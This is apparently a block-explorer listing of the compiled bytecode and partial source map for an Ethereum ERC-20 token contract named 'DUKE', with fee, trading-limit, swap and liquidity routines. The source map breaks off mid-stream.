2610d92565b91505061044e565b5092915050565b600080610eec83856115f0565b90508381101561044e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610494565b60125460115430600090815260046020526040812054600f5491938510159211159060ff16158015610f795750600d546301000000900460ff165b8015610f875750600d5460ff165b8015610f905750815b8015610fb557506001600160a01b03861660009081526010602052604090205460ff16155b8015610fce57506007546001600160a01b038681169116145b8015610fdd57506003600e5410155b8015610fe65750805b9695505050505050565b600f805460ff19166001179055600061101a6002610e4a61101260148361119a565b603c90610edf565b905060006110338261102d85601461119a565b90611158565b905060006110418483610d92565b90504761104d8261121c565b60006110594783610d92565b9050600061107261106b876014610d92565b8390611158565b9050600061108182601461119a565b90508015611093576110938682611376565b60006110a5603c610e4a85600261119a565b905080156110f0576040517326f163aadad43558b265ac02173c813f9c9b06979082156108fc029083906000818181858888f193505050501580156110ee573d6000803e3d6000fd5b505b6110f86104b0565b5050600f805460ff1916905550505050505050565b6007546000906001600160a01b039081169083160361112f57506009546103e5565b6007546001600160a01b039081169084160361114e57506008546103e5565b50600a5492915050565b600061044e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061143a565b6000826000036111ac575060006103e5565b60006111b883856115b7565b9050826111c585836115ce565b1461044e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610494565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061125157611251611603565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ce9190611619565b816001815181106112e1576112e1611603565b6001600160a01b0392831660209182029290920101526006546113079130911684610597565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611340908590600090869030904290600401611636565b600060405180830381600087803b15801561135a57600080fd5b505af115801561136e573d6000803e3d6000fd5b505050505050565b60065461138e9030906001600160a01b031684610597565b60065460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820152737703dc115ee1f8cd44b86b99e01dd48611e4d3f960848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af115801561140e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061143391906116a7565b5050505050565b6000818361145b5760405162461bcd60e51b81526004016104949190611468565b50600061086184866115ce565b600060208083528351808285015260005b8181101561149557858101830151858201604001528201611479565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104f057600080fd5b600080604083850312156114de57600080fd5b82356114e9816114b6565b946020939093013593505050565b60008060006060848603121561150c57600080fd5b8335611517816114b6565b92506020840135611527816114b6565b929592945050506040919091013590565b60006020828403121561154a57600080fd5b813561044e816114b6565b6000806040838503121561156857600080fd5b8235611573816114b6565b91506020830135611583816114b6565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103e5576103e561158e565b80820281158282048414176103e5576103e561158e565b6000826115eb57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156103e5576103e561158e565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561162b57600080fd5b815161044e816114b6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116865784516001600160a01b031683529383019391830191600101611661565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156116bc57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220524dc968af6b1441e003bc1db7149600f0f3b8db511cb6fbf6155e0282aabbd264736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101185760003560e01c806370a08231116100a0578063a8aa1b3111610064578063a8aa1b3114610306578063a9059cbb14610326578063dd62ed3e14610346578063e87655cf1461038c578063f2fde38b146103b457600080fd5b806370a082311461028657806378109e54146102bc5780637d1db4a5146102d2578063893d20e8146102e857806395d89b411461012457600080fd5b8063293230b8116100e7578063293230b8146101cf5780632f54bf6e146101e6578063313ce5671461021557806339788bc8146102315780635f7bcd701461024657600080fd5b806306fdde0314610124578063095ea7b31461016057806318160ddd1461019057806323b872dd146101af57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082018252600481526344554b4560e01b602082015290516101579190611468565b60405180910390f35b34801561016c57600080fd5b5061018061017b3660046114cb565b6103d4565b6040519015158152602001610157565b34801561019c57600080fd5b506001545b604051908152602001610157565b3480156101bb57600080fd5b506101806101ca3660046114f7565b6103eb565b3480156101db57600080fd5b506101e4610455565b005b3480156101f257600080fd5b50610180610201366004611538565b6000546001600160a01b0391821691161490565b34801561022157600080fd5b5060405160098152602001610157565b34801561023d57600080fd5b506101e46104b0565b34801561025257600080fd5b5061026e7326f163aadad43558b265ac02173c813f9c9b069781565b6040516001600160a01b039091168152602001610157565b34801561029257600080fd5b506101a16102a1366004611538565b6001600160a01b031660009081526004602052604090205490565b3480156102c857600080fd5b506101a160035481565b3480156102de57600080fd5b506101a160025481565b3480156102f457600080fd5b506000546001600160a01b031661026e565b34801561031257600080fd5b5060075461026e906001600160a01b031681565b34801561033257600080fd5b506101806103413660046114cb565b6104f3565b34801561035257600080fd5b506101a1610361366004611555565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561039857600080fd5b5061026e737703dc115ee1f8cd44b86b99e01dd48611e4d3f981565b3480156103c057600080fd5b506101e46103cf366004611538565b610500565b60006103e1338484610597565b5060015b92915050565b60006103f88484846106bb565b61044a8433610445856040518060600160405280602881526020016116d6602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610830565b610597565b5060015b9392505050565b6000546001600160a01b0316331461049d5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b600d805460ff1916600117905542600c55565b604051737703dc115ee1f8cd44b86b99e01dd48611e4d3f9904780156108fc02916000818181858888f193505050501580156104f0573d6000803e3d6000fd5b50565b60006103e13384846106bb565b6000546001600160a01b031633146105435760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610494565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166105f95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610494565b6001600160a01b03821661065a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610494565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600d5460ff1680156106d55750600d54610100900460ff16155b156106e2576106e261086a565b600d5460ff1680156106fd5750600d5462010000900460ff16155b1561070a5761070a6108e3565b6107158383836109c3565b61071f8383610b10565b61072a838383610b9e565b6107348383610c8a565b61073f838383610ce1565b61074a838383610d6d565b6001600160a01b03831660009081526004602052604090205461076d9082610d92565b6001600160a01b0384166000908152600460205260408120919091556107938484610dd4565b61079d57816107a8565b6107a8848484610e1a565b6001600160a01b0384166000908152600460205260409020549091506107ce9082610edf565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108229085815260200190565b60405180910390a350505050565b600081848411156108545760405162461bcd60e51b81526004016104949190611468565b50600061086184866115a4565b95945050505050565b600c54429061087b90610258610edf565b1161088d57610fa06008556117706009555b600c54429061089e90610e10610edf565b116108b0576103e86008556107d06009555b600c5442906108c190611c20610edf565b116108e1576101f46008819055600955600d805461ff0019166101001790555b565b600c5442906108f490610258610edf565b116109385761271060015460c861090b91906115b7565b61091591906115ce565b6002556001546127109061092a9060c86115b7565b61093491906115ce565b6003555b600c54429061094990610e10610edf565b1161098f5761271060015461012c61096191906115b7565b61096b91906115ce565b600255600154612710906109819061012c6115b7565b61098b91906115ce565b6003555b600c5442906109a090611c20610edf565b116108e1576001546002819055600355600d805462ff0000191662010000179055565b6001600160a01b038316610a275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610494565b6001600160a01b038216610a895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610494565b6001600160a01b038316600090815260046020526040902054811115610b0b5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610494565b505050565b6001600160a01b03821660009081526010602052604090205460ff16158015610b5257506001600160a01b03811660009081526010602052604090205460ff16155b15610b9a57600d5460ff16610b9a5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610494565b5050565b6001600160a01b03831660009081526010602052604090205460ff16158015610be057506001600160a01b03821660009081526010602052604090205460ff16155b8015610bfa57506007546001600160a01b03838116911614155b8015610c1157506001600160a01b03821661dead14155b15610b0b576003546001600160a01b038316600090815260046020526040902054610c3c9083610edf565b1115610b0b5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610494565b6007546001600160a01b038281169116148015610cc057506001600160a01b03821660009081526010602052604090205460ff16155b15610b9a576001600e6000828254610cd891906115f0565b90915550505050565b60025481111580610d0a57506001600160a01b03831660009081526010602052604090205460ff165b80610d2d57506001600160a01b03821660009081526010602052604090205460ff165b610b0b5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610494565b610d78838383610f3e565b15610b0b57610d88601154610ff0565b6000600e55505050565b600061044e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610830565b6001600160a01b03821660009081526010602052604081205460ff1615801561044e5750506001600160a01b031660009081526010602052604090205460ff1615919050565b600080610e27858561110d565b1115610ed8576000610e50610e3c868661110d565b600b54610e4a908690611158565b9061119a565b30600090815260046020526040902054909150610e6d9082610edf565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ebe9085815260200190565b60405180910390a3610ed08382610d92565b91505061044e565b5092915050565b600080610eec83856115f0565b90508381101561044e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610494565b60125460115430600090815260046020526040812054600f5491938510159211159060ff16158015610f795750600d546301000000900460ff165b8015610f875750600d5460ff165b8015610f905750815b8015610fb557506001600160a01b03861660009081526010602052604090205460ff16155b8015610fce57506007546001600160a01b038681169116145b8015610fdd57506003600e5410155b8015610fe65750805b9695505050505050565b600f805460ff19166001179055600061101a6002610e4a61101260148361119a565b603c90610edf565b905060006110338261102d85601461119a565b90611158565b905060006110418483610d92565b90504761104d8261121c565b60006110594783610d92565b9050600061107261106b876014610d92565b8390611158565b9050600061108182601461119a565b90508015611093576110938682611376565b60006110a5603c610e4a85600261119a565b905080156110f0576040517326f163aadad43558b265ac02173c813f9c9b06979082156108fc029083906000818181858888f193505050501580156110ee573d6000803e3d6000fd5b505b6110f86104b0565b5050600f805460ff1916905550505050505050565b6007546000906001600160a01b039081169083160361112f57506009546103e5565b6007546001600160a01b039081169084160361114e57506008546103e5565b50600a5492915050565b600061044e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061143a565b6000826000036111ac575060006103e5565b60006111b883856115b7565b9050826111c585836115ce565b1461044e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610494565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061125157611251611603565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ce9190611619565b816001815181106112e1576112e1611603565b6001600160a01b0392831660209182029290920101526006546113079130911684610597565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611340908590600090869030904290600401611636565b600060405180830381600087803b15801561135a57600080fd5b505af115801561136e573d6000803e3d6000fd5b505050505050565b60065461138e9030906001600160a01b031684610597565b60065460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820152737703dc115ee1f8cd44b86b99e01dd48611e4d3f960848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af115801561140e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061143391906116a7565b5050505050565b6000818361145b5760405162461bcd60e51b81526004016104949190611468565b50600061086184866115ce565b600060208083528351808285015260005b8181101561149557858101830151858201604001528201611479565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104f057600080fd5b600080604083850312156114de57600080fd5b82356114e9816114b6565b946020939093013593505050565b60008060006060848603121561150c57600080fd5b8335611517816114b6565b92506020840135611527816114b6565b929592945050506040919091013590565b60006020828403121561154a57600080fd5b813561044e816114b6565b6000806040838503121561156857600080fd5b8235611573816114b6565b91506020830135611583816114b6565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103e5576103e561158e565b80820281158282048414176103e5576103e561158e565b6000826115eb57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156103e5576103e561158e565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561162b57600080fd5b815161044e816114b6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116865784516001600160a01b031683529383019391830191600101611661565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156116bc57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220524dc968af6b1441e003bc1db7149600f0f3b8db511cb6fbf6155e0282aabbd264736f6c63430008110033

Deployed Bytecode Sourcemap

4213:10558:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6583:67;;;;;;;;;;-1:-1:-1;6643:5:0;;;;;;;;;;;-1:-1:-1;;;6643:5:0;;;;6583:67;;;;6643:5;6583:67;:::i;:::-;;;;;;;;7486:133;;;;;;;;;;-1:-1:-1;7486:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7486:133:0;1023:187:1;7625:84:0;;;;;;;;;;-1:-1:-1;7695:12:0;;7625:84;;;1361:25:1;;;1349:2;1334:18;7625:84:0;1215:177:1;14114:309:0;;;;;;;;;;-1:-1:-1;14114:309:0;;;;;:::i;:::-;;:::i;7277:97::-;;;;;;;;;;;;;:::i;:::-;;2918:87;;;;;;;;;;-1:-1:-1;2918:87:0;;;;;:::i;:::-;2973:4;2998:5;-1:-1:-1;;;;;2987:16:0;;;2998:5;;2987:16;;2918:87;6733:67;;;;;;;;;;-1:-1:-1;6733:67:0;;4413:1;2252:36:1;;2240:2;2225:18;6733:67:0;2110:184:1;7380:100:0;;;;;;;;;;;;;:::i;5690:86::-;;;;;;;;;;;;5734:42;5690:86;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;5690:86:0;2299:203:1;6890:103:0;;;;;;;;;;-1:-1:-1;6890:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6973:18:0;6956:7;6973:18;;;:9;:18;;;;;;;6890:103;4555:63;;;;;;;;;;;;;;;;4488:60;;;;;;;;;;;;;;;;6806:78;;;;;;;;;;-1:-1:-1;6858:7:0;6876:5;-1:-1:-1;;;;;6876:5:0;6806:78;;4767:19;;;;;;;;;;-1:-1:-1;4767:19:0;;;;-1:-1:-1;;;;;4767:19:0;;;6999:139;;;;;;;;;;-1:-1:-1;6999:139:0;;;;;:::i;:::-;;:::i;7144:127::-;;;;;;;;;;-1:-1:-1;7144:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7242:18:0;;;7225:7;7242:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7144:127;5783:87;;;;;;;;;;;;5828:42;5783:87;;3011:111;;;;;;;;;;-1:-1:-1;3011:111:0;;;;;:::i;:::-;;:::i;7486:133::-;7561:4;7568:37;7577:10;7589:7;7598:6;7568:8;:37::i;:::-;-1:-1:-1;7613:4:0;7486:133;;;;;:::o;14114:309::-;14212:4;14229:36;14239:6;14247:9;14258:6;14229:9;:36::i;:::-;14276:117;14285:6;14293:10;14305:87;14341:6;14305:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14305:19:0;;;;;;:11;:19;;;;;;;;14325:10;14305:31;;;;;;;;;:87;:35;:87::i;:::-;14276:8;:117::i;:::-;-1:-1:-1;14411:4:0;14114:309;;;;;;:::o;7277:97::-;2973:4;2998:5;-1:-1:-1;;;;;2998:5:0;2885:10;2987:16;2869:38;;;;-1:-1:-1;;;2869:38:0;;3362:2:1;2869:38:0;;;3344:21:1;3401:1;3381:18;;;3374:29;-1:-1:-1;;;3419:18:1;;;3412:36;3465:18;;2869:38:0;;;;;;;;;7321:14:::1;:21:::0;;-1:-1:-1;;7321:21:0::1;7338:4;7321:21;::::0;;7357:15:::1;7344:10;:28:::0;7277:97::o;7380:100::-;7417:61;;5640:42;;7456:21;7417:61;;;;;;;;;7456:21;5640:42;7417:61;;;;;;;;;;;;;;;;;;;;;7380:100::o;6999:139::-;7077:4;7084:40;7094:10;7106:9;7117:6;7084:9;:40::i;3011:111::-;2973:4;2998:5;-1:-1:-1;;;;;2998:5:0;2885:10;2987:16;2869:38;;;;-1:-1:-1;;;2869:38:0;;3362:2:1;2869:38:0;;;3344:21:1;3401:1;3381:18;;;3374:29;-1:-1:-1;;;3419:18:1;;;3412:36;3465:18;;2869:38:0;3160:329:1;2869:38:0;3077:5:::1;:11:::0;;-1:-1:-1;;;;;;3077:11:0::1;-1:-1:-1::0;;;;;3077:11:0;::::1;::::0;;::::1;::::0;;;3095:25:::1;::::0;2445:51:1;;;3095:25:0::1;::::0;2433:2:1;2418:18;3095:25:0::1;;;;;;;3011:111:::0;:::o;14431:335::-;-1:-1:-1;;;;;14524:19:0;;14516:68;;;;-1:-1:-1;;;14516:68:0;;3912:2:1;14516:68:0;;;3894:21:1;3951:2;3931:18;;;3924:30;3990:34;3970:18;;;3963:62;-1:-1:-1;;;4041:18:1;;;4034:34;4085:19;;14516:68:0;3710:400:1;14516:68:0;-1:-1:-1;;;;;14603:21:0;;14595:68;;;;-1:-1:-1;;;14595:68:0;;4317:2:1;14595:68:0;;;4299:21:1;4356:2;4336:18;;;4329:30;4395:34;4375:18;;;4368:62;-1:-1:-1;;;4446:18:1;;;4439:32;4488:19;;14595:68:0;4115:398:1;14595:68:0;-1:-1:-1;;;;;14674:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14726:32;;1361:25:1;;;14726:32:0;;1334:18:1;14726:32:0;;;;;;;14431:335;;;:::o;8083:841::-;8175:14;;;;:33;;;;-1:-1:-1;8194:14:0;;;;;;;8193:15;8175:33;8172:68;;;8210:28;:26;:28::i;:::-;8253:14;;;;:33;;;;-1:-1:-1;8272:14:0;;;;;;;8271:15;8253:33;8250:68;;;8288:28;:26;:28::i;:::-;8328:40;8342:6;8350:9;8361:6;8328:13;:40::i;:::-;8379:38;8399:6;8407:9;8379:19;:38::i;:::-;8428:41;8443:6;8451:9;8462:6;8428:14;:41::i;:::-;8481:31;8494:6;8502:9;8481:12;:31::i;:::-;8523:39;8536:6;8544:9;8555:6;8523:12;:39::i;:::-;8574:35;8583:6;8591:9;8602:6;8574:8;:35::i;:::-;-1:-1:-1;;;;;8640:17:0;;;;;;:9;:17;;;;;;:29;;8662:6;8640:21;:29::i;:::-;-1:-1:-1;;;;;8620:17:0;;;;;;:9;:17;;;;;:49;;;;8705:32;8630:6;8727:9;8705:13;:32::i;:::-;:78;;8777:6;8705:78;;;8740:34;8748:6;8756:9;8767:6;8740:7;:34::i;:::-;-1:-1:-1;;;;;8817:20:0;;;;;;:9;:20;;;;;;8680:103;;-1:-1:-1;8817:40:0;;8680:103;8817:24;:40::i;:::-;-1:-1:-1;;;;;8794:20:0;;;;;;;:9;:20;;;;;;;:63;;;;8873:43;;;;;;;;;;8901:14;1361:25:1;;1349:2;1334:18;;1215:177;8873:43:0;;;;;;;;8161:763;8083:841;;;:::o;596:190::-;682:7;718:12;710:6;;;;702:29;;;;-1:-1:-1;;;702:29:0;;;;;;;;:::i;:::-;-1:-1:-1;742:9:0;754:5;758:1;754;:5;:::i;:::-;742:17;596:190;-1:-1:-1;;;;;596:190:0:o;8932:420::-;8993:10;;9023:15;;8993:26;;9008:10;8993:14;:26::i;:::-;:45;8990:100;;9059:4;9040:8;:24;9083:4;9066:7;:22;8990:100;9103:10;;9133:15;;9103:26;;9118:10;9103:14;:26::i;:::-;:45;9100:100;;9169:4;9150:8;:24;9193:4;9176:7;:22;9100:100;9213:10;;9244:15;;9213:27;;9228:11;9213:14;:27::i;:::-;:46;9210:135;;9280:3;9261:8;:23;;;9286:7;:21;9322:14;:21;;-1:-1:-1;;9322:21:0;;;;;9210:135;8932:420::o;9360:556::-;9421:10;;9451:15;;9421:26;;9436:10;9421:14;:26::i;:::-;:45;9418:161;;9522:5;9499:12;;9514:3;9499:18;;;;:::i;:::-;9497:30;;;;:::i;:::-;9482:12;:45;9549:12;;9572:5;;9549:18;;9564:3;9549:18;:::i;:::-;9547:30;;;;:::i;:::-;9529:15;:48;9418:161;9592:10;;9622:15;;9592:26;;9607:10;9592:14;:26::i;:::-;:45;9589:161;;9693:5;9670:12;;9685:3;9670:18;;;;:::i;:::-;9668:30;;;;:::i;:::-;9653:12;:45;9720:12;;9743:5;;9720:18;;9735:3;9720:18;:::i;:::-;9718:30;;;;:::i;:::-;9700:15;:48;9589:161;9763:10;;9794:15;;9763:27;;9778:11;9763:14;:27::i;:::-;:46;9760:149;;9840:12;;9825;:27;;;9854:15;:30;9886:14;:21;;-1:-1:-1;;9886:21:0;;;;;9360:556::o;7717:358::-;-1:-1:-1;;;;;7824:20:0;;7816:70;;;;-1:-1:-1;;;7816:70:0;;5380:2:1;7816:70:0;;;5362:21:1;5419:2;5399:18;;;5392:30;5458:34;5438:18;;;5431:62;-1:-1:-1;;;5509:18:1;;;5502:35;5554:19;;7816:70:0;5178:401:1;7816:70:0;-1:-1:-1;;;;;7905:23:0;;7897:71;;;;-1:-1:-1;;;7897:71:0;;5786:2:1;7897:71:0;;;5768:21:1;5825:2;5805:18;;;5798:30;5864:34;5844:18;;;5837:62;-1:-1:-1;;;5915:18:1;;;5908:33;5958:19;;7897:71:0;5584:399:1;7897:71:0;-1:-1:-1;;;;;6973:18:0;;6956:7;6973:18;;;:9;:18;;;;;;7987:6;:27;;7979:88;;;;-1:-1:-1;;;7979:88:0;;6190:2:1;7979:88:0;;;6172:21:1;6229:2;6209:18;;;6202:30;6268:34;6248:18;;;6241:62;-1:-1:-1;;;6319:18:1;;;6312:47;6376:19;;7979:88:0;5988:413:1;7979:88:0;7717:358;;;:::o;9924:211::-;-1:-1:-1;;;;;10017:19:0;;;;;;:11;:19;;;;;:29;;;10016:30;:67;;;;-1:-1:-1;;;;;;10051:22:0;;;;;;:11;:22;;;;;:32;;;10050:33;10016:67;10013:115;;;10093:14;;;;10085:41;;;;-1:-1:-1;;;10085:41:0;;6608:2:1;10085:41:0;;;6590:21:1;6647:2;6627:18;;;6620:30;-1:-1:-1;;;6666:18:1;;;6659:44;6720:18;;10085:41:0;6406:338:1;10085:41:0;9924:211;;:::o;10147:351::-;-1:-1:-1;;;;;10251:19:0;;;;;;:11;:19;;;;;:29;;;10250:30;:67;;;;-1:-1:-1;;;;;;10285:22:0;;;;;;:11;:22;;;;;:32;;;10284:33;10250:67;:97;;;;-1:-1:-1;10342:4:0;;-1:-1:-1;;;;;10321:26:0;;;10342:4;;10321:26;;10250:97;:127;;;;-1:-1:-1;;;;;;10351:26:0;;5542:42;10351:26;;10250:127;10247:244;;;10439:15;;-1:-1:-1;;;;;10402:20:0;;;;;;:9;:20;;;;;;:32;;10427:6;10402:24;:32::i;:::-;10401:53;;10393:96;;;;-1:-1:-1;;;10393:96:0;;6951:2:1;10393:96:0;;;6933:21:1;6990:2;6970:18;;;6963:30;7029:32;7009:18;;;7002:60;7079:18;;10393:96:0;6749:354:1;10506:165:0;10599:4;;-1:-1:-1;;;;;10586:17:0;;;10599:4;;10586:17;:51;;;;-1:-1:-1;;;;;;10608:19:0;;;;;;:11;:19;;;;;:29;;;10607:30;10586:51;10583:81;;;10660:1;10639:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;10506:165:0;;:::o;10679:227::-;10795:12;;10785:6;:22;;:55;;;-1:-1:-1;;;;;;10811:19:0;;;;;;:11;:19;;;;;:29;;;10785:55;:91;;;-1:-1:-1;;;;;;10844:22:0;;;;;;:11;:22;;;;;:32;;;10785:91;10777:121;;;;-1:-1:-1;;;10777:121:0;;7440:2:1;10777:121:0;;;7422:21:1;7479:2;7459:18;;;7452:30;-1:-1:-1;;;7498:18:1;;;7491:47;7555:18;;10777:121:0;7238:341:1;13054:197:0;13146:41;13161:6;13169:9;13180:6;13146:14;:41::i;:::-;13143:101;;;13189:29;13204:13;;13189:14;:29::i;:::-;13240:1;13220:9;:22;13054:197;;;:::o;452:136::-;510:7;537:43;541:1;544;537:43;;;;;;;;;;;;;;;;;:3;:43::i;13259:180::-;-1:-1:-1;;;;;13365:19:0;;13340:4;13365:19;;;:11;:19;;;;;:29;;;13364:30;:67;;;;-1:-1:-1;;;;;;;13399:22:0;;;;;:11;:22;;;;;:32;;;13398:33;;13259:180;-1:-1:-1;13259:180:0:o;13674:432::-;13760:7;13816:1;13783:30;13795:6;13803:9;13783:11;:30::i;:::-;:34;13780:304;;;13829:17;13849:59;13877:30;13889:6;13897:9;13877:11;:30::i;:::-;13860:11;;13849:23;;:6;;:10;:23::i;:::-;:27;;:59::i;:::-;13964:4;13946:24;;;;:9;:24;;;;;;13829:79;;-1:-1:-1;13946:39:0;;13829:79;13946:28;:39::i;:::-;13937:4;13919:24;;;;:9;:24;;;;;;;:66;;;;14001:42;;-1:-1:-1;;;;;14001:42:0;;;;;;;14033:9;1361:25:1;;1349:2;1334:18;;1215:177;14001:42:0;;;;;;;;14061:21;:6;14072:9;14061:10;:21::i;:::-;14054:28;;;;;13780:304;-1:-1:-1;14092:6:0;13674:432;-1:-1:-1;;13674:432:0:o;265:179::-;323:7;;355:5;359:1;355;:5;:::i;:::-;343:17;;384:1;379;:6;;371:46;;;;-1:-1:-1;;;371:46:0;;7786:2:1;371:46:0;;;7768:21:1;7825:2;7805:18;;;7798:30;7864:29;7844:18;;;7837:57;7911:18;;371:46:0;7584:351:1;12622:424:0;12763:15;;12839:13;;12829:4;12720;6973:18;;;:9;:18;;;;;;12871:8;;12720:4;;12753:25;;;;-1:-1:-1;12811:41:0;;12871:8;;12870:9;:24;;;;-1:-1:-1;12883:11:0;;;;;;;12870:24;:42;;;;-1:-1:-1;12898:14:0;;;;12870:42;:54;;;;;12916:8;12870:54;:88;;;;-1:-1:-1;;;;;;12929:19:0;;;;;;:11;:19;;;;;:29;;;12928:30;12870:88;:123;;;;-1:-1:-1;12989:4:0;;-1:-1:-1;;;;;12976:17:0;;;12989:4;;12976:17;12870:123;:150;;;;;13018:1;12997:9;;:23;;12870:150;:168;;;;;13024:14;12870:168;12863:175;12622:424;-1:-1:-1;;;;;;12622:424:0:o;10914:907::-;5227:8;:15;;-1:-1:-1;;5227:15:0;5238:4;5227:15;;;:8;11008:60:::1;11065:1;11008:44;11024:27;11032:2;11065:1:::0;11024:15:::1;:27::i;:::-;11016:2;::::0;11008:15:::1;:44::i;:60::-;10985:83:::0;-1:-1:-1;11079:32:0::1;11114:41;10985:83:::0;11114:23:::1;:6:::0;11133:2:::1;11114:10;:23::i;:::-;:27:::0;::::1;:41::i;:::-;11079:76:::0;-1:-1:-1;11166:14:0::1;11183:36;:6:::0;11079:76;11183:10:::1;:36::i;:::-;11166:53:::0;-1:-1:-1;11255:21:0::1;11287:24;11166:53:::0;11287:16:::1;:24::i;:::-;11322:20;11345:41;:21;11371:14:::0;11345:25:::1;:41::i;:::-;11322:64:::0;-1:-1:-1;11397:19:0::1;11418:47;11435:29;:12:::0;11460:2:::1;11435:16;:29::i;:::-;11418:12:::0;;:16:::1;:47::i;:::-;11397:68:::0;-1:-1:-1;11476:29:0::1;11508:28;11397:68:::0;11532:2:::1;11508:15;:28::i;:::-;11476:60:::0;-1:-1:-1;11550:34:0;;11547:103:::1;;11586:61;11599:24;11625:21;11586:12;:61::i;:::-;11660:20;11683:35;11714:2;11683:18;:11:::0;11699:1:::1;11683:15;:18::i;:35::-;11660:58:::0;-1:-1:-1;11732:16:0;;11729:73:::1;;11750:50;::::0;5734:42:::1;::::0;11750:50;::::1;;;::::0;11787:12;;11750:50:::1;::::0;;;11787:12;5734:42;11750:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11729:73;11803:10;:8;:10::i;:::-;-1:-1:-1::0;;5247:8:0;:16;;-1:-1:-1;;5247:16:0;;;-1:-1:-1;;;;;;;10914:907:0:o;13447:219::-;13562:4;;13526:7;;-1:-1:-1;;;;;13562:4:0;;;13549:17;;;;13546:38;;-1:-1:-1;13575:7:0;;13568:14;;13546